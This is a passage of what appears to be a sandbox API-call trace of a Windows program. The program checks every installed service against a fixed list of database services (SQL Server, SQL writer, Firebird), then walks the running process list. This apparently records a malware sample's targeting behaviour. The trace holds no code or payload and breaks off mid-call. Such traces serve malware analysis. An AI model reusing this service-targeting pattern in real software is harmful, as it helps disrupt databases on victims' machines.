lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0065.657] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0065.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0065.657] lstrlenW (lpString="ClickToRunSvc") returned 13 [0065.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0065.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0065.657] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0065.657] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0065.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0065.657] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0065.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0065.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0065.657] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0065.657] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0065.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0065.657] lstrlenW (lpString="CryptSvc") returned 8 [0065.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0065.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0065.657] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0065.657] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0065.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0065.657] lstrlenW (lpString="DcomLaunch") returned 10 [0065.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0065.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0065.657] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0065.657] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0065.657] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0065.657] lstrlenW (lpString="DeviceAssociationService") returned 24 [0065.657] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0065.657] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0065.657] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0065.658] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0065.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0065.658] lstrlenW (lpString="Dhcp") returned 4 [0065.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0065.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0065.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0065.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0065.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0065.658] lstrlenW (lpString="Dnscache") returned 8 [0065.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0065.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0065.658] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0065.658] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0065.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0065.658] lstrlenW (lpString="DoSvc") returned 5 [0065.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0065.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0065.658] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0065.658] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0065.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0065.658] lstrlenW (lpString="DPS") returned 3 [0065.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0065.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0065.658] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0065.658] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0065.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0065.658] lstrlenW (lpString="DusmSvc") returned 7 [0065.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0065.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0065.658] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0065.658] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0065.658] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0065.658] lstrlenW (lpString="EventLog") returned 8 [0065.658] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0065.658] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0065.659] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0065.659] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0065.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0065.659] lstrlenW (lpString="EventSystem") returned 11 [0065.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0065.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0065.659] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0065.659] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0065.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0065.659] lstrlenW (lpString="FontCache") returned 9 [0065.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0065.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0065.659] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0065.659] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0065.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0065.659] lstrlenW (lpString="gpsvc") returned 5 [0065.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0065.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0065.659] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0065.659] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0065.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0065.659] lstrlenW (lpString="iphlpsvc") returned 8 [0065.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0065.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0065.659] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0065.659] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0065.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0065.659] lstrlenW (lpString="KeyIso") returned 6 [0065.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0065.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0065.659] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0065.659] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0065.659] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0065.659] lstrlenW (lpString="LanmanServer") returned 12 [0065.659] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0065.659] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0065.660] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0065.660] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0065.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0065.660] lstrlenW (lpString="LanmanWorkstation") returned 17 [0065.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0065.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0065.660] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0065.660] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0065.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0065.660] lstrlenW (lpString="lfsvc") returned 5 [0065.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0065.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0065.660] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0065.660] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0065.660] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0065.660] lstrlenW (lpString="lmhosts") returned 7 [0065.660] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0065.660] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0065.660] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0065.660] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0065.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0065.661] lstrlenW (lpString="LSM") returned 3 [0065.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0065.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0065.661] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0065.661] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0065.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0065.661] lstrlenW (lpString="MapsBroker") returned 10 [0065.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0065.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0065.661] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0065.661] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0065.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0065.661] lstrlenW (lpString="MpsSvc") returned 6 [0065.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0065.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0065.661] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0065.661] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0065.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0065.661] lstrlenW (lpString="NcbService") returned 10 [0065.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0065.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0065.661] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0065.661] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0065.661] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0065.661] lstrlenW (lpString="netprofm") returned 8 [0065.661] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0065.661] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0065.661] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0065.662] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0065.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0065.662] lstrlenW (lpString="NlaSvc") returned 6 [0065.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0065.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0065.662] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0065.662] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0065.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0065.662] lstrlenW (lpString="nsi") returned 3 [0065.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0065.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0065.662] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0065.662] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0065.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0065.662] lstrlenW (lpString="PcaSvc") returned 6 [0065.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0065.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0065.662] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0065.662] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0065.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0065.662] lstrlenW (lpString="PlugPlay") returned 8 [0065.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0065.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0065.662] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0065.662] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0065.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0065.662] lstrlenW (lpString="Power") returned 5 [0065.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0065.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0065.662] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0065.662] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0065.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0065.662] lstrlenW (lpString="ProfSvc") returned 7 [0065.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0065.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0065.663] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0065.663] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0065.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0065.663] lstrlenW (lpString="RpcEptMapper") returned 12 [0065.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0065.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0065.663] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0065.663] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0065.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0065.663] lstrlenW (lpString="RpcSs") returned 5 [0065.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0065.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0065.663] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0065.663] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0065.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0065.663] lstrlenW (lpString="SamSs") returned 5 [0065.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0065.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0065.663] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0065.663] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0065.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0065.663] lstrlenW (lpString="Schedule") returned 8 [0065.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0065.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0065.663] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0065.663] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0065.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0065.663] lstrlenW (lpString="SecurityHealthService") returned 21 [0065.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0065.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0065.663] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0065.664] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0065.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0065.664] lstrlenW (lpString="SENS") returned 4 [0065.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0065.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0065.664] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0065.664] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0065.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0065.664] lstrlenW (lpString="ShellHWDetection") returned 16 [0065.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0065.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0065.664] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0065.664] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0065.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0065.664] lstrlenW (lpString="Spooler") returned 7 [0065.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0065.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0065.664] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0065.664] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0065.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0065.664] lstrlenW (lpString="SSDPSRV") returned 7 [0065.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0065.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0065.664] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0065.664] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0065.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0065.664] lstrlenW (lpString="StateRepository") returned 15 [0065.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0065.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0065.664] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0065.664] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0065.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0065.665] lstrlenW (lpString="SysMain") returned 7 [0065.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0065.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0065.665] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0065.665] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0065.665] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0065.665] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x348 [0067.086] Process32FirstW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0067.086] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0067.087] lstrlenW (lpString="System") returned 6 [0067.087] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0067.088] lstrlenW (lpString="smss.exe") returned 8 [0067.088] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.088] lstrlenW (lpString="csrss.exe") returned 9 [0067.088] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0067.089] lstrlenW (lpString="wininit.exe") returned 11 [0067.089] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0067.089] lstrlenW (lpString="csrss.exe") returned 9 [0067.089] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0067.090] lstrlenW (lpString="winlogon.exe") returned 12 [0067.090] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0067.090] lstrlenW (lpString="services.exe") returned 12 [0067.090] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0067.091] lstrlenW (lpString="lsass.exe") returned 9 [0067.091] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.091] lstrlenW (lpString="svchost.exe") returned 11 [0067.091] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0067.092] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0067.092] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0067.092] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0067.093] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.093] lstrlenW (lpString="svchost.exe") returned 11 [0067.093] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0067.094] lstrlenW (lpString="dwm.exe") returned 7 [0067.094] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.094] lstrlenW (lpString="svchost.exe") returned 11 [0067.094] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.095] lstrlenW (lpString="svchost.exe") returned 11 [0067.095] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0067.095] lstrlenW (lpString="svchost.exe") returned 11 [0067.095] Process32NextW (in: hSnapshot=0x348, lppe=0x24dfd2c 